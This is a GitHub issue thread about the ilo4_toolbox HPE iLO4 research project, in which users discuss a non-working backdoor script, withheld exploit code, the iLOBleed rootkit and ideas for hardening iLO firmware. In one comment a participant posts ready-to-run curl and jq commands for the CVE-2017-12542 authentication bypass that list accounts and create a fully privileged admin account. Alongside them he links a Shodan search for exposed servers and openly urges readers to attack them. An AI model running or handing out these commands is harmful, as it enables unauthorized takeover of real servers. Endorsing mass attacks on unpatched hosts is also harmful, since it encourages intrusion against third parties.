insert_backdoor.sh did not work properly about ilo4_toolbox

[0xf4b]

Hi @TheRemote,

While I don't understand how giving you DMA access would have helped preventing iLO backdoors, let me point you to the stuff you're looking for:

• exploit_write_flash.py has been made public ~3 years ago: https://github.com/airbus-seclab/ilo4_toolbox/blob/master/scripts/iLO4/exploits/exploit_write_flash.py ;
• all the scripts to build a backdoored firmware are also available at https://github.com/airbus-seclab/ilo4_toolbox/tree/master/scripts/iLO4 ;
• finally, @fishilico added his exploit for CVE-2018-7105 providing DMA R/W primitive to the iLO CLI over SSH.

Hi hope this will help you developing this iLO defense framework, feel free to make a pull request when it's done!

Kind regards,

Fabien

[anotherpk]

Hello @0xf4b
linux_backdoor.S seems to have not been made public yet... Still choose to be private?

[alexgzt]

Hi @jourmehr

what error did you receive? From the web administration update page?

[jourmehr]

Hi @alexgzt
thanks for your response,
I received this message from administration update page before starting "to flash" operation and after completion of uploading process:
"The last firmware update attempt was not successful, Ready for next update"

[TheRemote]

I don't think you did anything wrong here. I finally got a working Python 2.7 environment built for the scripts that weren't easy to convert to Python3 by just changing print " to print( and those kind of tricks. I was able to run it all successfully including the capstone script. It was an absolute nightmare to configure this environment and involved "guessing" older versions in pip that would build the wheels without libimport and other errors.

My behavior was identical. I then found issue #4 which seems to say that they intentionally left this out/broken:

I noticed in your demo gif when the insert_backdoor.sh script finishes it references a script "exploit_write_flash_page.py". I can't seem to find this script in the code you provide and my version of insert_backdoor.sh simply says "Firmware ready to be flashed" when it completes.

with the answer of:

I'm sorry but we decided, for security reasons, not to publish this specific exploit to avoid persistent compromise of Internet-facing iLO servers.

This appears to be true. Even if the backdoor was working you wouldn't be able to use it because there is also another intentionally missing assembly file for backdoor_client.py. This is mentioned in issue #21 where they again make it clear they didn't release the working exploit code.

I was especially confused and outright misdirected by https://milo2012.wordpress.com/2018/06/30/some-notes-on-hpe-ilo4-authentication-bypass-and-rce-cve-2017-12542/ where someone wrote up partial notes acting like this worked 100% and recommending to do this. I'm guessing he posted this then figured out you can't do anything with it because the post ends right after that without a word and was never updated again.

Security researchers often leave parts like this out to make it so script kiddies can't just copy the scripts and hack a bunch of servers. Unfortunately the parts left out of this portion of the script are extremely advanced. It's literally the assembly bytecode for the client that is missing and ASM programming is not easy.

The first whitepaper will be a total wash for 99% of even intermediate level security researchers/hackers other than getting the user/password which there's a lot of other stuff out there that's easier for that both for learning and practically. If you're a script kiddie I'll do you a solid because it has been 5 YEARS:

Check:
curl -k -i -L -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" https://X.X.X.X/rest/v1/AccountService/Accounts

Add new admin (hpfwupdate, password hpfwupdate1!):

json='{"UserName": "hpfwupdate","Password": "hpfwupdate1!","Oem": { "Hp" : { "LoginName" : "hpfwupd","Privileges": {"LoginPriv" : true,"RemoteConsolePriv": true,"UserConfigPriv" : true,"VirtualMediaPriv": true,"iLOConfigPriv":true,"VirtualPowerAndResetPriv":true} } } }'
jqjson=$(echo "$json" | jq)
curl -k -i -L -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -X POST https://X.X.X.X/rest/v1/AccountService/Accounts --data "$jqjson"

No Python. Just curl and jq (common JSON CLI tool). Put it straight on the shell. Go hack them off the face of the planet for all I care, you'll be doing the world a favor as these servers are no doubt full of other malware and bots anyways considering they haven't installed firmware updates for 5 YEARS on an internet facing server. If this doesn't interest you and you were hoping to do something more interesting with this then read on.

Right now I'm working on their defeating Petya whitepaper which has exactly the kind of stuff I'm interested in: https://airbus-seclab.github.io/ilo/Whitepaper-Defeating_NotPetya_from_your_iLO4-guinet-perigaud-gazet-czarny.pdf. Essentially this is low level memory access to the system. I was hoping to just be able to get a regular "shell" to iLO but it requires the backdoor that is intentionally gutted.

There are a bunch of other files in here from various exploits but outside the README and the slides from their presentations there is no explanation or documentation of any of them. I'm still sorting through all of it but I'm at least a dozen hours in and just barely got an environment that could even work enough to figure out everything is gutted. It took that long because these were written in Python at the most awful time of the transition between Python2 and Python3. I had to go back over various versions of packages to find ones that would build in 2.7 still with pip. Keystone is a particularly heavy and troublesome component requirement.

You will have constant issues with these scripts because of it. I've never had as much environment trouble as with this project even with Go or some of the other languages I roll my eyes at every time I see them knowing it's going to take hours of fighting with old outdated libraries and configuration to even run.

It's been 5 years since this RCE and Shodan is showing less than 100 servers even left with https://www.shodan.io/search?query=%22Server%3A+HPE-iLO-Server%2F1.30%22. Obviously there's way more than that out there behind firewalls but if they haven't been updated by now they aren't going to be or the second there's a problem they'll just be refreshed/replaced.

I wrote all of this as information for anyone else who is trying to learn about security and not to call out the researchers or team who made this. If you are trying to learn from this project understand that the environment configuration is a nightmare and the backdoor/RCE isn't actually included. When you find out what is missing you will have to make a tough decision about whether it's worth it to keep going and invest at least dozens more hours into this and have an excellent chance of still not being able to do anything more than pull the passwords/create an account on your own lab devices even.

I personally wanted to do more and play with the big features like DMA memory access but it's really too gutted to try it. You need the backdoor, and they aren't releasing it, probably ever at this point. Unless you are at the point in your journey where you can reverse engineer/rewrite their assembly code you are better off sticking with the 29 A's and just creating accounts and if that isn't what you wanted to do then it's really of no use to you. You need to be a card carrying stack smasher to even fix these tools let alone expand them. I'd guess there are less than 100,000-200,000 people in the entire world capable of doing this and 99% of them wouldn't care enough to ever do it.

Again, no shade on the developers, it is what it is. I can always bite the bullet and finally learn assembly programming I guess and that appears to be the expectation. The only thing I would say directly to the developers is it has been a really long time since this RCE. HP is notorious for pushing these old servers out-of-commision for Enterprises (in every way you can imagine, dirty tricks, contract and support obligations, denying downloads to people who aren't in extended support) and literally nobody should be running any of this software at this point. I would love to play with and learn about some of the tricks you've done here such as the anti-Petya DMA memory access tricks with my 2 ML350P Gen8s that I have.

That would be so much greater of a contribution than withholding updates for at this point for <100 (on Shodan) what should be criminally negligent server owners. Very few people have ever done anything like this and withholding the backdoor makes none of it possible if we can't reproduce your ASM, right? Correct me please if I'm wrong.

If that didn't convince you then I will attempt to try to throw a little shade here. Did you really protect us by withholding this? Now there are rootkits in the wild doing this and people can't use your project to rescue their computers. If you had released it we might have entire iLO frameworks by now to defend against junk like this.

As is we can't even remove one, and you guys were the ones that let everyone know it was possible. They probably figured out how to do it from your very presentation. The problem is none of the good guys wanted to spend who knows how many hours figuring out how to do it and only the bad guys did. Pretty predictable, but something to think about. Now it's being used by advanced threat actors against us and we have no defense. Guess who can get to the ones behind firewalls (undoubtedly tens of thousands still or even more) that script kiddies generally can't? The advanced threat actors of course that have some common devices outright backdoored by the manufacturer depending on how big of an advanced threat actor we're talking about.

Hot off the presses: https://thehackernews.com/2021/12/new-ilobleed-rootkit-targeting-hp.html
https://www.securityweek.com/sophisticated-ilobleed-rootkit-targets-hp-servers

I would take the script kiddies ANY DAY over who is now utilizing your work against mankind. This is exactly why we open source and release our shit. This was definitely the wrong decision, and it's not even too late. Who knows what good it could or what people might do with it if it's still released.

We definitely know what harm it is doing for you to continue to withhold this information as advanced threat actors move in. As I said before, this is why we have open source. You have accomplished exactly the opposite of your stated goal of taking these actions. In fact, you've put more machines that people generally believe are "safe" at incredible risk than almost any security blunder I've seen in my lifetime as they will be accessed by actors that have other routes to send their traffic through than just the internet and are infinitely more dangerous than some spambot or crypto encrypting malware. More than any "drop" of any exploit where we have a script kiddie party for a couple of weeks and then everyone gets the message and patches and it's over. If this is unintentional it's time to fix it. If it's not then carry on, whoever the masters are will be pleased.

I want to congratulate this project for managing to be more damaging and malicious than a straight up zero day drop. Well played. I honestly think very few have ever accomplished to do so much damage and empower the worst and most dangerous actors in the world the way you have by presenting this and then withholding it. You gave us iLOBleed when we could have had all kinds of open source prevention/alternatives by withholding information. That is your legacy as hackers.

[TheRemote]

Hi @TheRemote,

While I don't understand how giving you DMA access would have helped preventing iLO backdoors

Just that by itself wouldn't for sure. If we have a shell inside iLO though a lot of possibilities open up. I don't know what the capabilities are yet in there. I do a lot of ARM work on integrated systems so I'm used to having barebones Linux utilities only on usually a read-only partition as well.

Theoretically you could have your own completely invisible and isolated "firewall" that the host OS can't even see. Maybe "watchdog" is a better word for what I'm thinking as I would be looking for very specific attacks and leave the rest of it to normal firewalls/the OS. You could secure not just the iLO firmware itself but the entire host machine. You would flash your own version of iLO with the "backdoor" (but it would be for yourself and secured) to essentially "take control" of your own iLO chip and not trust what it's running at all.

Probably changing the signature validation in the web interface to one you control would completely stop all attacks like this (all theoretical, might bump up against some limitations I haven't experienced yet, but at least some of this should be possible).

The issue is that native HP certificates are being accepted (even though we know they can be repacked/can't be trusted) which is why we couldn't stop them from uploading it if they were in there but with a different signature it's done. If the new signature would be vulnerable for the same reasons as the old one maybe we'd even need to add some kind of "magic". Whatever it is, changing the signature would be an extremely powerful tool and let you preventatively "take control" of it and not allow updates from anyone else (even HP).

This would basically be "locking" the firmware if you will. It's really something a lot more devices should support (some do but very few relatively speaking). A weakness to this approach is if you have a lock someone has to keep the key. For some people this is fine. Maybe a password to hash type of function to generate the key might reduce the chance of people losing it but options are probably the way to go where it can do all of those things.

Your tools probably do 90% of this as is except patching in a different one we control to the web interface. This could even protect us from vulnerabilities that haven't been discovered yet but that's pretty speculative and it really depends. One possible scenario is a lot of these embedded devices botnet / worm type of code actually flash the firmware and they would be immune to this style of spreading.

I honestly think it's only a matter of time before we see this if it isn't happening now already. It's the next step in the arms race of what happens with these kind of things. My wife is a Desktop IT Technician for the state and even she heard about iLOBleed even though she's not a server tech. Lots of headlines and attention so someone will try this.

For machines that are going to be thrown in a corner and forgotten about if you could set it up one time it would at least provide protection against the active threats we know are out there/live and not have it accept anything we aren't explicitly telling to and signing ourselves.

This could be tricky and is probably the part I would struggle with as I would have to mess with the assembly/patching. I can do some of it and I have IDA Pro but reading it is one thing and writing it is another. Once patched the first time it would no longer accept HP certificates and they would need to be signed by a script in this toolkit or something like that.

Each attack you would want to prevent would probably be a lot of work, but it would be in it's own secure invisible sandbox running and could look for whatever we tell it to.

One thing that could complicate this is if the iLO shell is some kind of sandboxed/restricted shell. I'll definitely be checking out the links you gave me tonight so I can get a better sense of how this might be possible. Given that you are able to unpack and repack the firmware I imagine it's probably not a completely restricted shell or that if it is there is something we could do about that theoretically.

I mean theoretically what couldn't you do? Just from bash if you made/have made a DMA read utility if it could be called from bash it would be beautifully simple code running on essentially the native iLO SoC software/firmware. You have direct access to the server in essentially a separate SoC with a shell into it that can presumably run basic bash or at least POSIX shell scripts. This is an unimaginable amount of power. It's designed to be invisible to the server itself. It's basically god-mode. I'm sure there are a lot of restrictions but the work you guys have been able to do already is impressive.

You can see an example of me parsing crazy data on the shell in this script (literally binary, bits, bytes, all of it) for a storage benchmarking script on the Raspberry Pi: https://github.com/TheRemote/PiBenchmarks/blob/master/Storage.sh. Having a couple of utilities like xxd around that probably aren't there would help. I'm not sure how comprehensive the built in utilities are, I've seen really, really bad selections before.

I'm still catching up to what all is in here. This is definitely in my comfort zone going into a shell on this little SoC while writing the ASM is a bit outside my comfort zone (it's on my to-do list, been programming for at least 20 years).

Thanks for the response and pointing out the resources. I take back some of what I said earlier, I'm quite passionate about this stuff and I linked to some of the threads that led me to the conclusions I reached but I did note that there's still a lot in here I'm going through. It does look like the pieces are all here from your links. Thanks again!

[Squall124]

Hello @0xf4b linux_backdoor.S seems to have not been made public yet... Still choose to be private?

Same question.
Did you find it somewhere somehow ?

[nikaiw]

authors decided to keep it private as already answered